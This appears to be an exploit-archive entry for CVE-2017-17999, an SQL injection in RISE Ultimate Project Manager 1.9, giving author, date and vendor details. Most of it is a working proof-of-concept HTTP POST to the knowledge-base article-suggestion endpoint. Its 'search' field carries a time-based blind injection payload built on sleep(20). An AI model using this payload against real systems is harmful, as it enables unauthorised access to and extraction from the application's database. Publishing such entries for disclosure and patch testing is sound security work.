RISE 1.9 - search SQL Injection

# Exploit Title: RISE Ultimate Project Manager 1.9 - SQL Injection
# Exploit Author: Ahmad Mahfouz 
# Contact: http://twitter.com/eln1x
# Date: 30/12/2017
# CVE: CVE-2017-17999
# Vendor Homepage: http://fairsketch.com/
# Version: 1.9

 

 

POST /index.php/knowledge_base/get_article_suggestion/ HTTP/1.1
Host: localhost
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 14
Connection: close

 
search=product'%20and%20(select*from(select(sleep(20)))a)--%20